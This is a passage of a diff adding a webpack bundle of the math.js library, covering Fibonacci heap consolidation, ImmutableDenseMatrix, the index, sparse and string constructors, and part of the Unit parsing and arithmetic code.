one. Running time: O(1) actual. + * @memberof FibonacciHeap + */ + + + var _linkNodes = function _linkNodes(node, parent) { + // remove node from root list of heap + node.left.right = node.right; + node.right.left = node.left; // make node a Child of parent + + node.parent = parent; + + if (!parent.child) { + parent.child = node; + node.right = node; + node.left = node; + } else { + node.left = parent.child; + node.right = parent.child.right; + parent.child.right = node; + node.right.left = node; + } // increase degree[parent] + + + parent.degree++; // set mark[node] false + + node.mark = false; + }; + + function _findMinimumNode(minimum, size) { + // to find trees of the same degree efficiently we use an array of length O(log n) in which we keep a pointer to one root of each degree + var arraySize = Math.floor(Math.log(size) * oneOverLogPhi) + 1; // create list with initial capacity + + var array = new Array(arraySize); // find the number of root nodes. + + var numRoots = 0; + var x = minimum; + + if (x) { + numRoots++; + x = x.right; + + while (x !== minimum) { + numRoots++; + x = x.right; + } + } // vars + + + var y; // For each node in root list do... + + while (numRoots > 0) { + // access this node's degree.. + var d = x.degree; // get next node + + var next = x.right; // check if there is a node already in array with the same degree + + while (true) { + // get node with the same degree is any + y = array[d]; + + if (!y) { + break; + } // make one node with the same degree a child of the other, do this based on the key value. + + + if (larger(x.key, y.key)) { + var temp = y; + y = x; + x = temp; + } // make y a child of x + + + _linkNodes(y, x); // we have handled this degree, go to next one. + + + array[d] = null; + d++; + } // save this node for later when we might encounter another of the same degree. + + + array[d] = x; // move forward through list. + + x = next; + numRoots--; + } // Set min to null (effectively losing the root list) and reconstruct the root list from the array entries in array[]. + + + minimum = null; // loop nodes in array + + for (var i = 0; i < arraySize; i++) { + // get current node + y = array[i]; + + if (!y) { + continue; + } // check if we have a linked list + + + if (minimum) { + // First remove node from root list. + y.left.right = y.right; + y.right.left = y.left; // now add to root list, again. + + y.left = minimum; + y.right = minimum.right; + minimum.right = y; + y.right.left = y; // check if this is a new min. + + if (smaller(y.key, minimum.key)) { + minimum = y; + } + } else { + minimum = y; + } + } + + return minimum; + } + + return FibonacciHeap; +} + +exports.name = 'FibonacciHeap'; +exports.path = 'type'; +exports.factory = factory; + +/***/ }), +/* 189 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var util = __webpack_require__(31); + +var string = util.string; +var object = util.object; +var isArray = Array.isArray; +var isString = string.isString; + +function factory(type, config, load) { + var DenseMatrix = load(__webpack_require__(49)); + var smaller = load(__webpack_require__(38)); + + function ImmutableDenseMatrix(data, datatype) { + if (!(this instanceof ImmutableDenseMatrix)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (datatype && !isString(datatype)) { + throw new Error('Invalid datatype: ' + datatype); + } + + if (type.isMatrix(data) || isArray(data)) { + // use DenseMatrix implementation + var matrix = new DenseMatrix(data, datatype); // internal structures + + this._data = matrix._data; + this._size = matrix._size; + this._datatype = matrix._datatype; + this._min = null; + this._max = null; + } else if (data && isArray(data.data) && isArray(data.size)) { + // initialize fields from JSON representation + this._data = data.data; + this._size = data.size; + this._datatype = data.datatype; + this._min = typeof data.min !== 'undefined' ? data.min : null; + this._max = typeof data.max !== 'undefined' ? data.max : null; + } else if (data) { + // unsupported type + throw new TypeError('Unsupported type of data (' + util.types.type(data) + ')'); + } else { + // nothing provided + this._data = []; + this._size = [0]; + this._datatype = datatype; + this._min = null; + this._max = null; + } + } + + ImmutableDenseMatrix.prototype = new DenseMatrix(); + /** + * Attach type information + */ + + ImmutableDenseMatrix.prototype.type = 'ImmutableDenseMatrix'; + ImmutableDenseMatrix.prototype.isImmutableDenseMatrix = true; + /** + * Get a subset of the matrix, or replace a subset of the matrix. + * + * Usage: + * const subset = matrix.subset(index) // retrieve subset + * const value = matrix.subset(index, replacement) // replace subset + * + * @param {Index} index + * @param {Array | ImmutableDenseMatrix | *} [replacement] + * @param {*} [defaultValue=0] Default value, filled in on new entries when + * the matrix is resized. If not provided, + * new matrix elements will be filled with zeros. + */ + + ImmutableDenseMatrix.prototype.subset = function (index) { + switch (arguments.length) { + case 1: + // use base implementation + var m = DenseMatrix.prototype.subset.call(this, index); // check result is a matrix + + if (type.isMatrix(m)) { + // return immutable matrix + return new ImmutableDenseMatrix({ + data: m._data, + size: m._size, + datatype: m._datatype + }); + } + + return m; + // intentional fall through + + case 2: + case 3: + throw new Error('Cannot invoke set subset on an Immutable Matrix instance'); + + default: + throw new SyntaxError('Wrong number of arguments'); + } + }; + /** + * Replace a single element in the matrix. + * @param {Number[]} index Zero-based index + * @param {*} value + * @param {*} [defaultValue] Default value, filled in on new entries when + * the matrix is resized. If not provided, + * new matrix elements will be left undefined. + * @return {ImmutableDenseMatrix} self + */ + + + ImmutableDenseMatrix.prototype.set = function () { + throw new Error('Cannot invoke set on an Immutable Matrix instance'); + }; + /** + * Resize the matrix to the given size. Returns a copy of the matrix when + * `copy=true`, otherwise return the matrix itself (resize in place). + * + * @param {Number[]} size The new size the matrix should have. + * @param {*} [defaultValue=0] Default value, filled in on new entries. + * If not provided, the matrix elements will + * be filled with zeros. + * @param {boolean} [copy] Return a resized copy of the matrix + * + * @return {Matrix} The resized matrix + */ + + + ImmutableDenseMatrix.prototype.resize = function () { + throw new Error('Cannot invoke resize on an Immutable Matrix instance'); + }; + /** + * Disallows reshaping in favor of immutability. + * + * @throws {Error} Operation not allowed + */ + + + ImmutableDenseMatrix.prototype.reshape = function () { + throw new Error('Cannot invoke reshape on an Immutable Matrix instance'); + }; + /** + * Create a clone of the matrix + * @return {ImmutableDenseMatrix} clone + */ + + + ImmutableDenseMatrix.prototype.clone = function () { + var m = new ImmutableDenseMatrix({ + data: object.clone(this._data), + size: object.clone(this._size), + datatype: this._datatype + }); + return m; + }; + /** + * Get a JSON representation of the matrix + * @returns {Object} + */ + + + ImmutableDenseMatrix.prototype.toJSON = function () { + return { + mathjs: 'ImmutableDenseMatrix', + data: this._data, + size: this._size, + datatype: this._datatype + }; + }; + /** + * Generate a matrix from a JSON object + * @param {Object} json An object structured like + * `{"mathjs": "ImmutableDenseMatrix", data: [], size: []}`, + * where mathjs is optional + * @returns {ImmutableDenseMatrix} + */ + + + ImmutableDenseMatrix.fromJSON = function (json) { + return new ImmutableDenseMatrix(json); + }; + /** + * Swap rows i and j in Matrix. + * + * @param {Number} i Matrix row index 1 + * @param {Number} j Matrix row index 2 + * + * @return {Matrix} The matrix reference + */ + + + ImmutableDenseMatrix.prototype.swapRows = function () { + throw new Error('Cannot invoke swapRows on an Immutable Matrix instance'); + }; + /** + * Calculate the minimum value in the set + * @return {Number | undefined} min + */ + + + ImmutableDenseMatrix.prototype.min = function () { + // check min has been calculated before + if (this._min === null) { + // minimum + var m = null; // compute min + + this.forEach(function (v) { + if (m === null || smaller(v, m)) { + m = v; + } + }); + this._min = m !== null ? m : undefined; + } + + return this._min; + }; + /** + * Calculate the maximum value in the set + * @return {Number | undefined} max + */ + + + ImmutableDenseMatrix.prototype.max = function () { + // check max has been calculated before + if (this._max === null) { + // maximum + var m = null; // compute max + + this.forEach(function (v) { + if (m === null || smaller(m, v)) { + m = v; + } + }); + this._max = m !== null ? m : undefined; + } + + return this._max; + }; // exports + + + return ImmutableDenseMatrix; +} + +exports.name = 'ImmutableDenseMatrix'; +exports.path = 'type'; +exports.factory = factory; + +/***/ }), +/* 190 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * Create an index. An Index can store ranges having start, step, and end + * for multiple dimensions. + * Matrix.get, Matrix.set, and math.subset accept an Index as input. + * + * Syntax: + * + * math.index(range1, range2, ...) + * + * Where each range can be any of: + * + * - A number + * - A string for getting/setting an object property + * - An instance of `Range` + * - A one-dimensional Array or a Matrix with numbers + * + * Indexes must be zero-based, integer numbers. + * + * Examples: + * + * const math = require('mathjs') + * + * const b = [1, 2, 3, 4, 5] + * math.subset(b, math.index([1, 2, 3])) // returns [2, 3, 4] + * + * const a = math.matrix([[1, 2], [3, 4]]) + * a.subset(math.index(0, 1)) // returns 2 + * + * See also: + * + * bignumber, boolean, complex, matrix, number, string, unit + * + * @param {...*} ranges Zero or more ranges or numbers. + * @return {Index} Returns the created index + */ + return typed('index', { + '...number | string | BigNumber | Range | Array | Matrix': function numberStringBigNumberRangeArrayMatrix(args) { + var ranges = args.map(function (arg) { + if (type.isBigNumber(arg)) { + return arg.toNumber(); // convert BigNumber to Number + } else if (Array.isArray(arg) || type.isMatrix(arg)) { + return arg.map(function (elem) { + // convert BigNumber to Number + return type.isBigNumber(elem) ? elem.toNumber() : elem; + }); + } else { + return arg; + } + }); + var res = new type.Index(); + type.Index.apply(res, ranges); + return res; + } + }); +} + +exports.name = 'index'; +exports.factory = factory; + +/***/ }), +/* 191 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var SparseMatrix = type.SparseMatrix; + /** + * Create a Sparse Matrix. The function creates a new `math.type.Matrix` object from + * an `Array`. A Matrix has utility functions to manipulate the data in the + * matrix, like getting the size and getting or setting values in the matrix. + * + * Syntax: + * + * math.sparse() // creates an empty sparse matrix. + * math.sparse(data) // creates a sparse matrix with initial data. + * math.sparse(data, 'number') // creates a sparse matrix with initial data, number datatype. + * + * Examples: + * + * let m = math.sparse([[1, 2], [3, 4]]) + * m.size() // Array [2, 2] + * m.resize([3, 2], 5) + * m.valueOf() // Array [[1, 2], [3, 4], [5, 5]] + * m.get([1, 0]) // number 3 + * + * See also: + * + * bignumber, boolean, complex, index, number, string, unit, matrix + * + * @param {Array | Matrix} [data] A two dimensional array + * + * @return {Matrix} The created matrix + */ + + var sparse = typed('sparse', { + '': function _() { + return new SparseMatrix([]); + }, + 'string': function string(datatype) { + return new SparseMatrix([], datatype); + }, + 'Array | Matrix': function ArrayMatrix(data) { + return new SparseMatrix(data); + }, + 'Array | Matrix, string': function ArrayMatrixString(data, datatype) { + return new SparseMatrix(data, datatype); + } + }); + sparse.toTex = { + 0: '\\begin{bsparse}\\end{bsparse}', + 1: "\\left(${args[0]}\\right)" + }; + return sparse; +} + +exports.name = 'sparse'; +exports.factory = factory; + +/***/ }), +/* 192 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [// type +__webpack_require__(107)]; + +/***/ }), +/* 193 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +var number = __webpack_require__(3); + +function factory(type, config, load, typed) { + /** + * Create a string or convert any object into a string. + * Elements of Arrays and Matrices are processed element wise. + * + * Syntax: + * + * math.string(value) + * + * Examples: + * + * math.string(4.2) // returns string '4.2' + * math.string(math.complex(3, 2) // returns string '3 + 2i' + * + * const u = math.unit(5, 'km') + * math.string(u.to('m')) // returns string '5000 m' + * + * math.string([true, false]) // returns ['true', 'false'] + * + * See also: + * + * bignumber, boolean, complex, index, matrix, number, unit + * + * @param {* | Array | Matrix | null} [value] A value to convert to a string + * @return {string | Array | Matrix} The created string + */ + var string = typed('string', { + '': function _() { + return ''; + }, + 'number': number.format, + 'null': function _null(x) { + return 'null'; + }, + 'boolean': function boolean(x) { + return x + ''; + }, + 'string': function string(x) { + return x; + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, string); + }, + 'any': function any(x) { + return String(x); + } + }); + string.toTex = { + 0: '\\mathtt{""}', + 1: "\\mathrm{string}\\left(${args[0]}\\right)" + }; + return string; +} + +exports.name = 'string'; +exports.factory = factory; + +/***/ }), +/* 194 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [// type +__webpack_require__(195), // construction function +__webpack_require__(196), // create new units +__webpack_require__(197), // split units +__webpack_require__(198), // physical constants +__webpack_require__(199)]; + +/***/ }), +/* 195 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } + +var endsWith = __webpack_require__(9).endsWith; + +var clone = __webpack_require__(5).clone; + +var constants = __webpack_require__(108); + +function factory(type, config, load, typed, math) { + var add = load(__webpack_require__(17)); + var subtract = load(__webpack_require__(15)); + var multiply = load(__webpack_require__(21)); + var divide = load(__webpack_require__(12)); + var pow = load(__webpack_require__(42)); + var abs = load(__webpack_require__(25)); + var fix = load(__webpack_require__(109)); + var round = load(__webpack_require__(67)); + var equal = load(__webpack_require__(51)); + var isNumeric = load(__webpack_require__(52)); + var format = load(__webpack_require__(112)); + var getTypeOf = load(__webpack_require__(26)); + var toNumber = load(__webpack_require__(64)); + var Complex = load(__webpack_require__(82)); + /** + * A unit can be constructed in the following ways: + * + * const a = new Unit(value, name) + * const b = new Unit(null, name) + * const c = Unit.parse(str) + * + * Example usage: + * + * const a = new Unit(5, 'cm') // 50 mm + * const b = Unit.parse('23 kg') // 23 kg + * const c = math.in(a, new Unit(null, 'm') // 0.05 m + * const d = new Unit(9.81, "m/s^2") // 9.81 m/s^2 + * + * @class Unit + * @constructor Unit + * @param {number | BigNumber | Fraction | Complex | boolean} [value] A value like 5.2 + * @param {string} [name] A unit name like "cm" or "inch", or a derived unit of the form: "u1[^ex1] [u2[^ex2] ...] [/ u3[^ex3] [u4[^ex4]]]", such as "kg m^2/s^2", where each unit appearing after the forward slash is taken to be in the denominator. "kg m^2 s^-2" is a synonym and is also acceptable. Any of the units can include a prefix. + */ + + function Unit(value, name) { + if (!(this instanceof Unit)) { + throw new Error('Constructor must be called with the new operator'); + } + + if (!(value === null || value === undefined || isNumeric(value) || type.isComplex(value))) { + throw new TypeError('First parameter in Unit constructor must be number, BigNumber, Fraction, Complex, or undefined'); + } + + if (name !== undefined && (typeof name !== 'string' || name === '')) { + throw new TypeError('Second parameter in Unit constructor must be a string'); + } + + if (name !== undefined) { + var u = Unit.parse(name); + this.units = u.units; + this.dimensions = u.dimensions; + } else { + this.units = [{ + unit: UNIT_NONE, + prefix: PREFIXES.NONE, + // link to a list with supported prefixes + power: 0 + }]; + this.dimensions = []; + + for (var i = 0; i < BASE_DIMENSIONS.length; i++) { + this.dimensions[i] = 0; + } + } + + this.value = value !== undefined && value !== null ? this._normalize(value) : null; + this.fixPrefix = false; // if true, function format will not search for the + // best prefix but leave it as initially provided. + // fixPrefix is set true by the method Unit.to + // The justification behind this is that if the constructor is explicitly called, + // the caller wishes the units to be returned exactly as he supplied. + + this.skipAutomaticSimplification = true; + } + /** + * Attach type information + */ + + + Unit.prototype.type = 'Unit'; + Unit.prototype.isUnit = true; // private variables and functions for the Unit parser + + var text, index, c; + + function skipWhitespace() { + while (c === ' ' || c === '\t') { + next(); + } + } + + function isDigitDot(c) { + return c >= '0' && c <= '9' || c === '.'; + } + + function isDigit(c) { + return c >= '0' && c <= '9'; + } + + function next() { + index++; + c = text.charAt(index); + } + + function revert(oldIndex) { + index = oldIndex; + c = text.charAt(index); + } + + function parseNumber() { + var number = ''; + var oldIndex; + oldIndex = index; + + if (c === '+') { + next(); + } else if (c === '-') { + number += c; + next(); + } + + if (!isDigitDot(c)) { + // a + or - must be followed by a digit + revert(oldIndex); + return null; + } // get number, can have a single dot + + + if (c === '.') { + number += c; + next(); + + if (!isDigit(c)) { + // this is no legal number, it is just a dot + revert(oldIndex); + return null; + } + } else { + while (isDigit(c)) { + number += c; + next(); + } + + if (c === '.') { + number += c; + next(); + } + } + + while (isDigit(c)) { + number += c; + next(); + } // check for exponential notation like "2.3e-4" or "1.23e50" + + + if (c === 'E' || c === 'e') { + // The grammar branches here. This could either be part of an exponent or the start of a unit that begins with the letter e, such as "4exabytes" + var tentativeNumber = ''; + var tentativeIndex = index; + tentativeNumber += c; + next(); + + if (c === '+' || c === '-') { + tentativeNumber += c; + next(); + } // Scientific notation MUST be followed by an exponent (otherwise we assume it is not scientific notation) + + + if (!isDigit(c)) { + // The e or E must belong to something else, so return the number without the e or E. + revert(tentativeIndex); + return number; + } // We can now safely say that this is scientific notation. + + + number = number + tentativeNumber; + + while (isDigit(c)) { + number += c; + next(); + } + } + + return number; + } + + function parseUnit() { + var unitName = ''; // Alphanumeric characters only; matches [a-zA-Z0-9] + + var code = text.charCodeAt(index); + + while (code >= 48 && code <= 57 || code >= 65 && code <= 90 || code >= 97 && code <= 122) { + unitName += c; + next(); + code = text.charCodeAt(index); + } // Must begin with [a-zA-Z] + + + code = unitName.charCodeAt(0); + + if (code >= 65 && code <= 90 || code >= 97 && code <= 122) { + return unitName || null; + } else { + return null; + } + } + + function parseCharacter(toFind) { + if (c === toFind) { + next(); + return toFind; + } else { + return null; + } + } + /** + * Parse a string into a unit. The value of the unit is parsed as number, + * BigNumber, or Fraction depending on the math.js config setting `number`. + * + * Throws an exception if the provided string does not contain a valid unit or + * cannot be parsed. + * @memberof Unit + * @param {string} str A string like "5.2 inch", "4e2 cm/s^2" + * @return {Unit} unit + */ + + + Unit.parse = function (str, options) { + options = options || {}; + text = str; + index = -1; + c = ''; + + if (typeof text !== 'string') { + throw new TypeError('Invalid argument in Unit.parse, string expected'); + } + + var unit = new Unit(); + unit.units = []; + var powerMultiplierCurrent = 1; + var expectingUnit = false; // A unit should follow this pattern: + // [number] ...[ [*/] unit[^number] ] + // unit[^number] ... [ [*/] unit[^number] ] + // Rules: + // number is any floating point number. + // unit is any alphanumeric string beginning with an alpha. Units with names like e3 should be avoided because they look like the exponent of a floating point number! + // The string may optionally begin with a number. + // Each unit may optionally be followed by ^number. + // Whitespace or a forward slash is recommended between consecutive units, although the following technically is parseable: + // 2m^2kg/s^2 + // it is not good form. If a unit starts with e, then it could be confused as a floating point number: + // 4erg + + next(); + skipWhitespace(); // Optional number at the start of the string + + var valueStr = parseNumber(); + var value = null; + + if (valueStr) { + if (config.number === 'BigNumber') { + value = new type.BigNumber(valueStr); + } else if (config.number === 'Fraction') { + value = new type.Fraction(valueStr); + } else { + // number + value = parseFloat(valueStr); + } + + skipWhitespace(); // Whitespace is not required here + // handle multiplication or division right after the value, like '1/s' + + if (parseCharacter('*')) { + powerMultiplierCurrent = 1; + expectingUnit = true; + } else if (parseCharacter('/')) { + powerMultiplierCurrent = -1; + expectingUnit = true; + } + } // Stack to keep track of powerMultipliers applied to each parentheses group + + + var powerMultiplierStack = []; // Running product of all elements in powerMultiplierStack + + var powerMultiplierStackProduct = 1; + + while (true) { + skipWhitespace(); // Check for and consume opening parentheses, pushing powerMultiplierCurrent to the stack + // A '(' will always appear directly before a unit. + + while (c === '(') { + powerMultiplierStack.push(powerMultiplierCurrent); + powerMultiplierStackProduct *= powerMultiplierCurrent; + powerMultiplierCurrent = 1; + next(); + skipWhitespace(); + } // Is there something here? + + + var uStr = void 0; + + if (c) { + var oldC = c; + uStr = parseUnit(); + + if (uStr === null) { + throw new SyntaxError('Unexpected "' + oldC + '" in "' + text + '" at index ' + index.toString()); + } + } else { + // End of input. + break; + } // Verify the unit exists and get the prefix (if any) + + + var res = _findUnit(uStr); + + if (res === null) { + // Unit not found. + throw new SyntaxError('Unit "' + uStr + '" not found.'); + } + + var power = powerMultiplierCurrent * powerMultiplierStackProduct; // Is there a "^ number"? + + skipWhitespace(); + + if (parseCharacter('^')) { + skipWhitespace(); + var p = parseNumber(); + + if (p === null) { + // No valid number found for the power! + throw new SyntaxError('In "' + str + '", "^" must be followed by a floating-point number'); + } + + power *= p; + } // Add the unit to the list + + + unit.units.push({ + unit: res.unit, + prefix: res.prefix, + power: power + }); + + for (var i = 0; i < BASE_DIMENSIONS.length; i++) { + unit.dimensions[i] += (res.unit.dimensions[i] || 0) * power; + } // Check for and consume closing parentheses, popping from the stack. + // A ')' will always follow a unit. + + + skipWhitespace(); + + while (c === ')') { + if (powerMultiplierStack.length === 0) { + throw new SyntaxError('Unmatched ")" in "' + text + '" at index ' + index.toString()); + } + + powerMultiplierStackProduct /= powerMultiplierStack.pop(); + next(); + skipWhitespace(); + } // "*" and "/" should mean we are expecting something to come next. + // Is there a forward slash? If so, negate powerMultiplierCurrent. The next unit or paren group is in the denominator. + + + expectingUnit = false; + + if (parseCharacter('*')) { + // explicit multiplication + powerMultiplierCurrent = 1; + expectingUnit = true; + } else if (parseCharacter('/')) { + // division + powerMultiplierCurrent = -1; + expectingUnit = true; + } else { + // implicit multiplication + powerMultiplierCurrent = 1; + } // Replace the unit into the auto unit system + + + if (res.unit.base) { + var baseDim = res.unit.base.key; + UNIT_SYSTEMS.auto[baseDim] = { + unit: res.unit, + prefix: res.prefix + }; + } + } // Has the string been entirely consumed? + + + skipWhitespace(); + + if (c) { + throw new SyntaxError('Could not parse: "' + str + '"'); + } // Is there a trailing slash? + + + if (expectingUnit) { + throw new SyntaxError('Trailing characters: "' + str + '"'); + } // Is the parentheses stack empty? + + + if (powerMultiplierStack.length !== 0) { + throw new SyntaxError('Unmatched "(" in "' + text + '"'); + } // Are there any units at all? + + + if (unit.units.length === 0 && !options.allowNoUnits) { + throw new SyntaxError('"' + str + '" contains no units'); + } + + unit.value = value !== undefined ? unit._normalize(value) : null; + return unit; + }; + /** + * create a copy of this unit + * @memberof Unit + * @return {Unit} Returns a cloned version of the unit + */ + + + Unit.prototype.clone = function () { + var unit = new Unit(); + unit.fixPrefix = this.fixPrefix; + unit.skipAutomaticSimplification = this.skipAutomaticSimplification; + unit.value = clone(this.value); + unit.dimensions = this.dimensions.slice(0); + unit.units = []; + + for (var i = 0; i < this.units.length; i++) { + unit.units[i] = {}; + + for (var p in this.units[i]) { + if (this.units[i].hasOwnProperty(p)) { + unit.units[i][p] = this.units[i][p]; + } + } + } + + return unit; + }; + /** + * Return whether the unit is derived (such as m/s, or cm^2, but not N) + * @memberof Unit + * @return {boolean} True if the unit is derived + */ + + + Unit.prototype._isDerived = function () { + if (this.units.length === 0) { + return false; + } + + return this.units.length > 1 || Math.abs(this.units[0].power - 1.0) > 1e-15; + }; + /** + * Normalize a value, based on its currently set unit(s) + * @memberof Unit + * @param {number | BigNumber | Fraction | boolean} value + * @return {number | BigNumber | Fraction | boolean} normalized value + * @private + */ + + + Unit.prototype._normalize = function (value) { + var unitValue, unitOffset, unitPower, unitPrefixValue; + var convert; + + if (value === null || value === undefined || this.units.length === 0) { + return value; + } else if (this._isDerived()) { + // This is a derived unit, so do not apply offsets. + // For example, with J kg^-1 degC^-1 you would NOT want to apply the offset. + var res = value; + convert = Unit._getNumberConverter(getTypeOf(value)); // convert to Fraction or BigNumber if needed + + for (var i = 0; i < this.units.length; i++) { + unitValue = convert(this.units[i].unit.value); + unitPrefixValue = convert(this.units[i].prefix.value); + unitPower = convert(this.units[i].power); + res = multiply(res, pow(multiply(unitValue, unitPrefixValue), unitPower)); + } + + return res; + } else { + // This is a single unit of power 1, like kg or degC + convert = Unit._getNumberConverter(getTypeOf(value)); // convert to Fraction or BigNumber if needed + + unitValue = convert(this.units[0].unit.value); + unitOffset = convert(this.units[0].unit.offset); + unitPrefixValue = convert(this.units[0].prefix.value); + return multiply(add(value, unitOffset), multiply(unitValue, unitPrefixValue)); + } + }; + /** + * Denormalize a value, based on its currently set unit(s) + * @memberof Unit + * @param {number} value + * @param {number} [prefixValue] Optional prefix value to be used (ignored if this is a derived unit) + * @return {number} denormalized value + * @private + */ + + + Unit.prototype._denormalize = function (value, prefixValue) { + var unitValue, unitOffset, unitPower, unitPrefixValue; + var convert; + + if (value === null || value === undefined || this.units.length === 0) { + return value; + } else if (this._isDerived()) { + // This is a derived unit, so do not apply offsets. + // For example, with J kg^-1 degC^-1 you would NOT want to apply the offset. + // Also, prefixValue is ignored--but we will still use the prefix value stored in each unit, since kg is usually preferable to g unless the user decides otherwise. + var res = value; + convert = Unit._getNumberConverter(getTypeOf(value)); // convert to Fraction or BigNumber if needed + + for (var i = 0; i < this.units.length; i++) { + unitValue = convert(this.units[i].unit.value); + unitPrefixValue = convert(this.units[i].prefix.value); + unitPower = convert(this.units[i].power); + res = divide(res, pow(multiply(unitValue, unitPrefixValue), unitPower)); + } + + return res; + } else { + // This is a single unit of power 1, like kg or degC + convert = Unit._getNumberConverter(getTypeOf(value)); // convert to Fraction or BigNumber if needed + + unitValue = convert(this.units[0].unit.value); + unitPrefixValue = convert(this.units[0].prefix.value); + unitOffset = convert(this.units[0].unit.offset); + + if (prefixValue === undefined || prefixValue === null) { + return subtract(divide(divide(value, unitValue), unitPrefixValue), unitOffset); + } else { + return subtract(divide(divide(value, unitValue), prefixValue), unitOffset); + } + } + }; + /** + * Find a unit from a string + * @memberof Unit + * @param {string} str A string like 'cm' or 'inch' + * @returns {Object | null} result When found, an object with fields unit and + * prefix is returned. Else, null is returned. + * @private + */ + + + function _findUnit(str) { + // First, match units names exactly. For example, a user could define 'mm' as 10^-4 m, which is silly, but then we would want 'mm' to match the user-defined unit. + if (UNITS.hasOwnProperty(str)) { + var unit = UNITS[str]; + var prefix = unit.prefixes['']; + return { + unit: unit, + prefix: prefix + }; + } + + for (var name in UNITS) { + if (UNITS.hasOwnProperty(name)) { + if (endsWith(str, name)) { + var _unit = UNITS[name]; + var prefixLen = str.length - name.length; + var prefixName = str.substring(0, prefixLen); + + var _prefix = _unit.prefixes.hasOwnProperty(prefixName) ? _unit.prefixes[prefixName] : undefined; + + if (_prefix !== undefined) { + // store unit, prefix, and value + return { + unit: _unit, + prefix: _prefix + }; + } + } + } + } + + return null; + } + /** + * Test if the given expression is a unit. + * The unit can have a prefix but cannot have a value. + * @memberof Unit + * @param {string} name A string to be tested whether it is a value less unit. + * The unit can have prefix, like "cm" + * @return {boolean} true if the given string is a unit + */ + + + Unit.isValuelessUnit = function (name) { + return _findUnit(name) !== null; + }; + /** + * check if this unit has given base unit + * If this unit is a derived unit, this will ALWAYS return false, since by definition base units are not derived. + * @memberof Unit + * @param {BASE_UNITS | string | undefined} base + */ + + + Unit.prototype.hasBase = function (base) { + if (typeof base === 'string') { + base = BASE_UNITS[base]; + } + + if (!base) { + return false; + } // All dimensions must be the same + + + for (var i = 0; i < BASE_DIMENSIONS.length; i++) { + if (Math.abs((this.dimensions[i] || 0) - (base.dimensions[i] || 0)) > 1e-12) { + return false; + } + } + + return true; + }; + /** + * Check if this unit has a base or bases equal to another base or bases + * For derived units, the exponent on each base also must match + * @memberof Unit + * @param {Unit} other + * @return {boolean} true if equal base + */ + + + Unit.prototype.equalBase = function (other) { + // All dimensions must be the same + for (var i = 0; i < BASE_DIMENSIONS.length; i++) { + if (Math.abs((this.dimensions[i] || 0) - (other.dimensions[i] || 0)) > 1e-12) { + return false; + } + } + + return true; + }; + /** + * Check if this unit equals another unit + * @memberof Unit + * @param {Unit} other + * @return {boolean} true if both units are equal + */ + + + Unit.prototype.equals = function (other) { + return this.equalBase(other) && equal(this.value, other.value); + }; + /** + * Multiply this unit with another one + * @memberof Unit + * @param {Unit} other + * @return {Unit} product of this unit and the other unit + */ + + + Unit.prototype.multiply = function (other) { + var res = this.clone(); + + for (var i = 0; i < BASE_DIMENSIONS.length; i++) { + // Dimensions arrays may be of different lengths. Default to 0. + res.dimensions[i] = (this.dimensions[i] || 0) + (other.dimensions[i] || 0); + } // Append other's units list onto res + + + for (var _i = 0; _i < other.units.length; _i++) { + // Make a deep copy + var inverted = {}; + + for (var key in other.units[_i]) { + inverted[key] = other.units[_i][key]; + } + + res.units.push(inverted); + } // If at least one operand has a value, then the result should also have a value + + + if (this.value !== null || other.value !== null) { + var valThis = this.value === null ? this._normalize(1) : this.value; + var valOther = other.value === null ? other._normalize(1) : other.value; + res.value = multiply(valThis, valOther); + } else { + res.value = null; + } + + res.skipAutomaticSimplification = false; + return getNumericIfUnitless(res); + }; + /** + * Divide this unit by another one + * @memberof Unit + * @param {Unit} other + * @return {Unit} result of dividing this unit by the other unit + */ + + + Unit.prototype.divide = function (other) { + var res = this.clone(); + + for (var i = 0; i < BASE_DIMENSIONS.length; i++) { + // Dimensions arrays may be of different lengths. Default to 0. + res.dimensions[i] = (this.dimensions[i] || 0) - (other.dimensions[i] || 0); + } // Invert and append other's units list onto res + + + for (var _i2 = 0; _i2 < other.units.length; _i2++) { + // Make a deep copy + var inverted = {}; + + for (var key in other.units[_i2]) { + inverted[key] = other.units[_i2][key]; + } + + inverted.power = -inverted.power; + res.units.push(inverted); + } // If at least one operand has a value, the result should have a value + + + if (this.value !== null || other.value !== null) { + var valThis = this.value === null ? this._normalize(1) : this.value; + var valOther = other.value === null ? other._normalize(1) : other.value; + res.value = divide(valThis, valOther); + } else { + res.value = null; + } + + res.skipAutomaticSimplification = false; + return getNumericIfUnitless(res); + }; + /** + * Calculate the power of a unit + * @memberof Unit + * @param {number | Fraction | BigNumber} p + * @returns {Unit} The result: this^p + */ + + + Unit.prototype.pow = function (p) { + var res = this.clone(); + + for (var i = 0; i < BASE_DIMENSIONS.length; i++) { + // Dimensions arrays may be of different lengths. Default to 0. + res.dimensions[i] = (this.dimensions[i] || 0) * p; + } // Adjust the power of each unit in the list + + + for (var _i3 = 0; _i3 < res.units.length; _i3++) { + res.units[_i3].power *= p; + } + + if (res.value !== null) { + res.value = pow(res.value, p); // only allow numeric output, we don't want to return a Complex number + // if (!isNumeric(res.value)) { + // res.value = NaN + // } + // Update: Complex supported now + } else { + res.value = null; + } + + res.skipAutomaticSimplification = false; + return getNumericIfUnitless(res); + }; + /** + * Return the numeric value of this unit if it is dimensionless, has a value, and config.predictable == false; or the original unit otherwise + * @param {Unit} unit + * @returns {number | Fraction | BigNumber | Unit} The numeric value of the unit if conditions are met, or the original unit otherwise + */ + + + function getNumericIfUnitless(unit) { + if (unit.equalBase(BASE_UNITS.NONE) && unit.value 